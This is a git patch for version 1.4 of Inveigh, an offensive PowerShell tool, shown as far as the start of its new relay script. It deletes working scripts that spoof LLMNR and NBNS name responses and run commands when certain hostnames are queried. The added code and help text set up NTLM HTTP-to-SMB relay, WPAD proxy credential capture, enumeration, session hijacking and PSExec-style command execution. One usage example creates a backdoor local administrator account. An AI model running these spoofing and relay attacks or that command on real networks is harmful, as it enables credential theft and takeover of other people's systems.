From c9809376e0afb613b3331a79c8ac83c7f48c679a Mon Sep 17 00:00:00 2001 From: Kevin Robertson Date: Tue, 25 Sep 2018 14:46:02 -0400 Subject: [PATCH] Inveigh 1.4 Inveigh Added ADIDNS attacks New detection evasions Inveigh Relay Added session and enumerate attacks Added ability to handle multiple targets with target selection based on the enumerate attack and/or BloodHound imports --- Extras/Invoke-NBNSC2.ps1 | 151 - Extras/Send-LLMNRResponse.ps1 | 87 - Extras/Send-NBNSResponse.ps1 | 105 - Inveigh-Relay.ps1 | 7791 ++++++++++++++++++++++++++++ Scripts/Inveigh.ps1 => Inveigh.ps1 | 4298 +++++++++------ Inveigh.psd1 | 2 +- Inveigh.psm1 | 6 +- README.md | 18 +- Scripts/Inveigh-Relay.ps1 | 4516 ---------------- 9 files changed, 10617 insertions(+), 6357 deletions(-) delete mode 100644 Extras/Invoke-NBNSC2.ps1 delete mode 100644 Extras/Send-LLMNRResponse.ps1 delete mode 100644 Extras/Send-NBNSResponse.ps1 create mode 100644 Inveigh-Relay.ps1 rename Scripts/Inveigh.ps1 => Inveigh.ps1 (52%) delete mode 100644 Scripts/Inveigh-Relay.ps1 diff --git a/Extras/Invoke-NBNSC2.ps1 b/Extras/Invoke-NBNSC2.ps1 deleted file mode 100644 index 41d2e64..0000000 --- a/Extras/Invoke-NBNSC2.ps1 +++ /dev/null @@ -1,151 +0,0 @@ -function Invoke-NBNSC2 -{ -<# -.SYNOPSIS -Invoke-NBNSC2 will listen for NBNS requests and execute set commands if requests for specific hostnames are -received. The function must be supplied with an even number of Hostnames and Commands. NBNS requests can be -sent from a NBNS enabled system on the same subnet using ping, etc. - -.PARAMETER Hostnames -A comma separated list of Hostnames that will trigger a corresponding command. The first hostname trigger a command -from the Commands array with a matching index (e.g. Hostnames[0] executes Commands[0]). - -.PARAMETER Commands -An array of commands stored in scriptblock format. All commands must be enclosed in {} brackets. - -.PARAMETER ExitHostname -Specify a hostname that will cause the function to exit. This hostname must not match a hostname used in Hostnames. - -.PARAMETER RunTime -(Integer) Set the run time duration. - -.PARAMETER RunTimeUnit -Default = Minutes: Set the time unit for RunTime to either Minutes, Hours, or Days. - -.EXAMPLE -Send-NBNSC2 -Hostnames test1,test2 -Command {calc},{notepad} -RunTime 1 -RunTimeUnit Days - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -[CmdletBinding()] -param -( -[parameter(Mandatory=$true)][Array]$Hostnames = "", -[parameter(Mandatory=$true)][Array]$Commands = "", -[parameter(Mandatory=$true)][String]$ExitHostname = "", -[parameter(Mandatory=$false)][Int]$RunTime="", -[parameter(Mandatory=$false)][ValidateSet("Minutes","Hours","Days")][String]$RunTimeUnit="Minutes", -[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if($Hostnames.Count -ne $Commands.Count) -{ - throw "Must use an equal number of Hostnames and Commands." -} -elseif($Hostnames -contains $ExitHostname) -{ - throw "ExitHostname cannot be used as in Hostnames." -} - -if($RunTime) -{ - if($RunTimeUnit -like 'Minutes') - { - $runtime_timeout = new-timespan -Minutes $RunTime - } - elseif($RunTimeUnit -like 'Hours') - { - $runtime_timeout = new-timespan -Hours $RunTime - } - elseif($RunTimeUnit -like 'Days') - { - $runtime_timeout = new-timespan -Days $RunTime - } - - $runtime_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() -} - -$Hostnames = $Hostnames | % {$_.ToUpper()} -$running = $true -$NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) -$NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 -$NBNS_UDP_client.Client.ReceiveTimeout = 10000 -$control_timeout = new-timespan -Seconds 1 -$control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - -while($running) -{ - try - { - $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) - } - catch - { - $NBNS_request_data = $null - } - - if($NBNS_request_data) - { - $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) - $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) - $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" - $n = 0 - - if($NBNS_query_string_encoded.Length -gt 1) - { - do - { - $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) - $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) - $n += 1 - } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) - - $n = 0 - - do - { - $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) - $n += 2 - } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) - } - - if([Array]::IndexOf($Hostnames,$NBNS_query_string) -ge 0 -and $control_stopwatch.Elapsed -ge $control_timeout) - { - $NBNS_UDP_client.Close() - $command_index = [Array]::IndexOf($Hostnames,$NBNS_query_string) - $NBNS_query_string = '' - & $Commands[$command_index] - $control_timeout = new-timespan -Seconds 5 - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 - $NBNS_UDP_client.Client.ReceiveTimeout = 10000 - } - elseif($ExitHostname -like $NBNS_query_string) - { - $running = $false - } - } - - if($RunTime -and $runtime_stopwatch.Elapsed -ge $runtime_timeout) - { - $running = $false - } - -} - -$NBNS_UDP_client.Close() - -} \ No newline at end of file diff --git a/Extras/Send-LLMNRResponse.ps1 b/Extras/Send-LLMNRResponse.ps1 deleted file mode 100644 index cc22091..0000000 --- a/Extras/Send-LLMNRResponse.ps1 +++ /dev/null @@ -1,87 +0,0 @@ - -function Send-LLMNRResponse -{ -<# -.SYNOPSIS -Send-LLMNRResponse sends a crafted LLMNR response packet to a specific target. For name resolution to be successful, -the specified TargetIP, TargetPort, Hostname, and TransactionID must match a very (very very) recent LLMNR request. -You must have an external method (wireshark,etc) of viewing the required LLMNR request fields for traffic on the -target subnet. The odds of pulling this attack off manually are slim if not impossible due to the narrow response -window. Ideally, this function would be fed by another script. - -.PARAMETER Hostname -Default = WPAD: Specify a hostname for NBNS spoofing. - -.PARAMETER LLMNRTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - -.PARAMETER SendPort -Default = Random Available: Specify a source port for the LLMNR response. Note that the standard port is 5355 -which will cause a binding conflict if LLMNR is enabled on the host system. A random port seems to work fine. - -.PARAMETER SpooferIP -Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system -other than the function host. - -.PARAMETER TargetIP -Specify an IP address to target for the LLMNR response. - -.PARAMETER TargetPort -Specify an port to target for the LLMNR response. This port must match the source port included in the request. - -.EXAMPLE -Send-LLMNRResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - - -[CmdletBinding()] -param -( -[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", -[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="", -[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="", -[parameter(Mandatory=$true)][String]$Hostname = "", -[parameter(Mandatory=$true)][Int]$TargetPort="", -[parameter(Mandatory=$false)][Int]$SendPort="0", -[parameter(Mandatory=$false)][Int]$LLMNRTTL="30", -[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if(!$SpooferIP) -{ - $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -$hostname_bytes = [System.Text.Encoding]::UTF8.GetBytes($Hostname) -$LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) -[Array]::Reverse($LLMNR_TTL_bytes) -$Transaction_ID_encoded = $TransactionID.Insert(2,'-') -$Transaction_ID_bytes = $Transaction_ID_encoded.Split('-') | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - -$LLMNR_response_packet = $Transaction_ID_bytes + - 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + - $hostname_bytes.Count + - $hostname_bytes + - 0x00,0x00,0x01,0x00,0x01 + - $hostname_bytes.Count + - $hostname_bytes + - 0x00,0x00,0x01,0x00,0x01 + - $LLMNR_TTL_bytes + - 0x00,0x04 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - -$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort) -$destination_IP = [System.Net.IPAddress]::Parse($TargetIP) -$destination_point = New-Object Net.IPEndpoint($destination_IP,$TargetPort) -$send_socket.Connect($destination_point) -$send_socket.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) -$send_socket.Close() -} \ No newline at end of file diff --git a/Extras/Send-NBNSResponse.ps1 b/Extras/Send-NBNSResponse.ps1 deleted file mode 100644 index 3d5ed02..0000000 --- a/Extras/Send-NBNSResponse.ps1 +++ /dev/null @@ -1,105 +0,0 @@ - -function Send-NBNSResponse -{ -<# -.SYNOPSIS -Send-NBNSResponse sends a crafted NBNS response packet to a specific target. For name resolution to be successful, -the specified TargetIP, Hostname, and TransactionID must match a very (very very) recent NBNS request. You must -have an external method (wireshark,etc) of viewing the required NBNS request fields for traffic on the target -subnet. The odds of pulling this attack off manually are slim due to the narrow response window. I've only been -able to get it to work manually by watching tshark with the the transaction ID being listed in the output. -Ideally, this function would be fed by another script. - -.PARAMETER Hostname -Default = WPAD: Specify a hostname for NBNS spoofing. - -.PARAMETER NBNSTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - -.PARAMETER SendPort -Default = 137: Specify a source port for the NBNS response. - -.PARAMETER SpooferIP -IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system -other than the function host. - -.PARAMETER TargetIP -IP address to target for the NBNS response. - -.PARAMETER TransactionID -NBNS transaction ID that matches the transaction from the NBNS request. - -.EXAMPLE -Send-NBNSResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - - -[CmdletBinding()] -param -( -[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", -[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="", -[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="", -[parameter(Mandatory=$true)][String]$Hostname = "", -[parameter(Mandatory=$false)][Int]$SendPort="137", -[parameter(Mandatory=$false)][Int]$NBNSTTL="165", -[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if(!$SpooferIP) -{ - $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -$Hostname = $Hostname.ToUpper() - -$hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, - 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 - -$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) -$hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) -$hostname_encoded = $hostname_encoded.Replace("-","") -$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) -$NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) -[Array]::Reverse($NBNS_TTL_bytes) -$Transaction_ID_encoded = $TransactionID.Insert(2,'-') -$Transaction_ID_bytes = $Transaction_ID_encoded.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - -for($i=0; $i -lt $hostname_encoded.Count; $i++) -{ - - if($hostname_encoded[$i] -gt 64) - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 10 - } - else - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 17 - } - -} - -$NBNS_response_packet = $Transaction_ID_bytes + - 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $hostname_bytes + - 0x00,0x20,0x00,0x01 + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 - -$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort) -$destination_IP = [System.Net.IPAddress]::Parse($TargetIP) -$destination_point = New-Object Net.IPEndpoint($destination_IP,137) -$send_socket.Connect($destination_point) -$send_socket.Send($NBNS_response_packet,$NBNS_response_packet.Length) -$send_socket.Close() -} \ No newline at end of file diff --git a/Inveigh-Relay.ps1 b/Inveigh-Relay.ps1 new file mode 100644 index 0000000..88dbc26 --- /dev/null +++ b/Inveigh-Relay.ps1 @@ -0,0 +1,7791 @@ +function Invoke-InveighRelay +{ +<# +.SYNOPSIS +This function performs NTLMv1/NTLMv2 HTTP to SMB relay. + +.DESCRIPTION +This function performs NTLMv1/NTLMv2 HTTP to SMB relay. + +.PARAMETER Attack +Default = not sure yet: (Enumerate/Execute/Session) Comma seperated list of attacks to perform with relay. Enumerate +leverages relay to perform enumeration on target systems. The collected data is used for target selection. +Execute performs PSExec style command execution. Session creates and maintains authenticated SMB sessions that +can be interacted with through Invoke-TheHash's Invoke-SMBClient, Invoke-SMBEnum, and Invoke-SMBExec. + +.PARAMETER Challenge +Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random +challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be +pulled from the SMB relay target. + +.PARAMETER Command +Command to execute on SMB relay target. Use PowerShell character escapes where necessary. + +.PARAMETER ConsoleOutput +Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a +shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. + +.PARAMETER ConsoleQueueLimit +Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. + +.PARAMETER ConsoleStatus +(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for +displaying full capture lists when running through a shell that does not have access to the support functions. + +.PARAMETER ConsoleUnique +Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, +and username combinations when real time console output is enabled. + +.PARAMETER Enumerate +Default = All: (All/Group/NetSession/Share/User) The action that will be used for the 'Enumerate' attack. + +.PARAMETER EnumerateGroup +Default = Administrators: The group that will be enumerated with the 'Enumerate' attack. Note that only the +'Administrators' group will be used for targeting decisions. + +.PARAMETER Execute +Command to execute on relay target. Use PowerShell character escapes where necessary. + +.PARAMETER FailedLoginStrict +Default = Disabled: If disabled, login attempts against non-domain attached will not count as failed logins. If enabled, all +failed logins will count. + +.PARAMETER FailedLoginThreshold +Default = 2: The threshold for failed logins. Once failed logins for a user exceed the threshhold, further relay attempts for that +user will be stopped. + +.PARAMETER FileOutput +Default = Disabled: (Y/N) Enable/Disable real time file output. + +.PARAMETER FileOutputDirectory +Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be +enabled. + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: IP address for the HTTP/HTTPS listener. + +.PARAMETER HTTPPort +Default = 80: TCP port for the HTTP listener. + +.PARAMETER HTTPS +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in +the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires +local administrator access. + +.PARAMETER HTTPSPort +Default = 443: TCP port for the HTTPS listener. + +.PARAMETER HTTPSCertIssuer +Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSCertSubject +Default = localhost: The subject field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSForceCertDelete +Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and +HTTPSCertSubject. + +.PARAMETER LogOutput +Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER OutputStreamOnly +Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if +running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the +various yellow warning messages if enabled. + +.PARAMETER ProxyRelay +Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication. + +.PARAMETER ProxyIP +Default = Any: IP address for the proxy listener. + +.PARAMETER ProxyPort +Default = 8492: TCP port for the proxy listener. + +.PARAMETER ProxyIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly +with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is +cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting +-SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by +closing and reopening. + +.PARAMETER RelayAutoDisable +Default = Enable: (Y/N) Enable/Disable automaticaly disabling SMB relay after a successful command execution on +target. + +.PARAMETER RelayAutoExit +Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error. + +.PARAMETER RepeatEnumerate +Default = 30 Minutes: The minimum number of minutes to wait between enumeration attempts for a target. + +.PARAMETER RepeatExecute +Default = 30 Minutes: The minumum number of minutes to wait between command execution attempts for a target. + +.PARAMETER RunTime +(Integer) Run time duration in minutes. + +.PARAMETER Service +Default = 20 Character Random: Name of the service to create and delete on the target. + +.PARAMETER SessionLimitPriv +Default = 2: Limit of privileged sessions on a target. + +.PARAMETER SessionLimitShare +Default = 2: Limit of sessions per user for targets hosting custom shares. + +.PARAMETER SessionLimitUnpriv +Default = 0: Limit of unprivileged sessions on a target. + +.PARAMETER SessionRefresh +Default = 10 Minutes: The number of minutes between refreshes to keep sessions from timing out. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER StartupChecks +Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER Target +Comma separated list of IP addresses to target for relay. This parameter will accept single addresses, CIDR, or +ranges on the format of 192.168.0.1-192.168.0.10 or 192.168.0.1-10. Avoid using large ranges with lots of unused +IP addresses or systems not running SMB. Inveigh-Relay will do quick port checks as part of target selection and +filter out invalid targets. Something like a /16 with only a few hosts isn't really practical though. + +.PARAMETER TargetExclude +Comma separated list of IP addresses to exlude from the target list. This parameter will accept the same formats as +the 'Target' parameter. + +.PARAMETER TargetMode +Default = Random: (Random/Strict) 'Random' target mode will fall back to selecting a random target is a match +isn't found through enumerated data. 'Strict' will only select targets through enumerated data. Note that +'Strict' requires either previously collected data from the 'Enumerate' attack or data imported from +BloodHound. + +.PARAMETER TargetRandom +Default = Enabled: (Y/N) Enable/Disable selecting a random target if a target is not found through logic. + +.PARAMETER TargetRefresh +Default = 60 Minutes: Number of minutes to wait before rechecking a target for eligibility. + +.PARAMETER Tool +Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's +PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. +0 = None, 1 = Metasploit/Meterpreter, 2 = Empire + +.PARAMETER Username +Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and +domain\username format. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous/NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to +Anonymous can prevent browser login prompts. + +.PARAMETER WPADAuthIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login +popups for authenticated wpad.dat requests such as Firefox. + +.EXAMPLE +Invoke-Inveigh -HTTP N +Invoke-InveighRelay -Target 192.168.2.55 -Command "net user Inveigh Spring2017 /add && net localgroup administrators Inveigh /add" + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + +#region begin parameters + +# Parameter default values can be modified in this section: +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][ValidateSet("Enumerate","Session","Execute")][Array]$Attack = ("Enumerate","Session"), + [parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Enumerate = "All", + [parameter(Mandatory=$false)][ValidateSet("Random","Strict")][String]$TargetMode = "Random", + [parameter(Mandatory=$false)][String]$EnumerateGroup = "Administrators", + [parameter(Mandatory=$false)][Array]$Target = "", + [parameter(Mandatory=$false)][Array]$TargetExclude = "", + [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", + [parameter(Mandatory=$false)][Array]$Username = "", + [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "", + [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", + [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$FailedLoginThreshold = "2", + [parameter(Mandatory=$false)][Int]$HTTPPort = "80", + [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", + [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", + [parameter(Mandatory=$false)][Int]$RunTime = "", + [parameter(Mandatory=$false)][Int]$SessionLimitPriv = "2", + [parameter(Mandatory=$false)][Int]$SessionLimitShare = "2", + [parameter(Mandatory=$false)][Int]$SessionLimitUnpriv = "0", + [parameter(Mandatory=$false)][Int]$SessionRefresh = "10", + [parameter(Mandatory=$false)][Int]$TargetRefresh = "60", + [parameter(Mandatory=$false)][Int]$RepeatEnumerate = "30", + [parameter(Mandatory=$false)][Int]$RepeatExecute = "30", + [parameter(Mandatory=$false)][String]$Command = "", + [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", + [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", + [parameter(Mandatory=$false)][String]$Service, + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FailedLoginStrict = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoDisable = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoExit = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SessionPriority = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +#endregion +#region begin initialization + +if ($invalid_parameter) +{ + Write-Output "[-] $($invalid_parameter) is not a valid parameter." + throw +} + +if($inveigh.relay_running) +{ + Write-Output "[-] Inveigh Relay is already running" + throw +} + +$inveigh_version = "1.4" + +if(!$target -and !$inveigh.enumerate) +{ + Write-Output "[-] No enumerated target data, specify targets with -Target" + throw +} + +if($ProxyIP -eq '0.0.0.0') +{ + + try + { + $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + } + catch + { + Write-Output "[-] Error finding proxy IP, specify manually with -ProxyIP" + throw + } + +} + +if($Attack -contains 'Execute' -and !$Command) +{ + Write-Output "[-] -Command requiried with -Attack Execute" + throw +} + +if(!$FileOutputDirectory) +{ + $output_directory = $PWD.Path +} +else +{ + $output_directory = $FileOutputDirectory +} + +if(!$inveigh) +{ + $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.enumerate = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList + $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_history_table = [HashTable]::Synchronized(@{}) + $inveigh.request_table = [HashTable]::Synchronized(@{}) + $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) + $inveigh.session_table = [HashTable]::Synchronized(@{}) + $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) + $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) + $inveigh.SMB_session_table = [HashTable]::Synchronized(@{}) + $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{}) + $inveigh.group_table = [HashTable]::Synchronized(@{}) + $inveigh.session_count = 0 + $inveigh.session = @() +} + +$inveigh.stop = $false + +if(!$inveigh.running) +{ + $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList + $inveigh.console_queue = New-Object System.Collections.ArrayList + $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList + $inveigh.log_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.output_queue = New-Object System.Collections.ArrayList + $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList + $inveigh.console_input = $true + $inveigh.console_output = $false + $inveigh.file_output = $false + $inveigh.HTTPS_existing_certificate = $false + $inveigh.HTTPS_force_certificate_delete = $false + $inveigh.log_output = $true + $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" + $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" + $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" + $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" + $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" +} + +if($StartupChecks -eq 'Y') +{ + + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + + if($HTTP -eq 'Y') + { + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " + } + + if($HTTPS -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " + } + + if($Proxy -eq 'Y') + { + $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " + } + +} + +$inveigh.relay_running = $true +$inveigh.SMB_relay = $true + +if($StatusOutput -eq 'Y') +{ + $inveigh.status_output = $true +} +else +{ + $inveigh.status_output = $false +} + +if($OutputStreamOnly -eq 'Y') +{ + $inveigh.output_stream_only = $true +} +else +{ + $inveigh.output_stream_only = $false +} + +if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension +{ + $inveigh.tool = 1 + $inveigh.output_stream_only = $true + $inveigh.newline = $null + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $inveigh.tool = 2 + $inveigh.output_stream_only = $true + $inveigh.console_input = $false + $inveigh.newline = $null + $LogOutput = "N" + $ShowHelp = "N" + + switch ($ConsoleOutput) + { + + 'Low' + { + $ConsoleOutput = "Low" + } + + 'Medium' + { + $ConsoleOutput = "Medium" + } + + default + { + $ConsoleOutput = "Y" + } + + } + +} +else +{ + 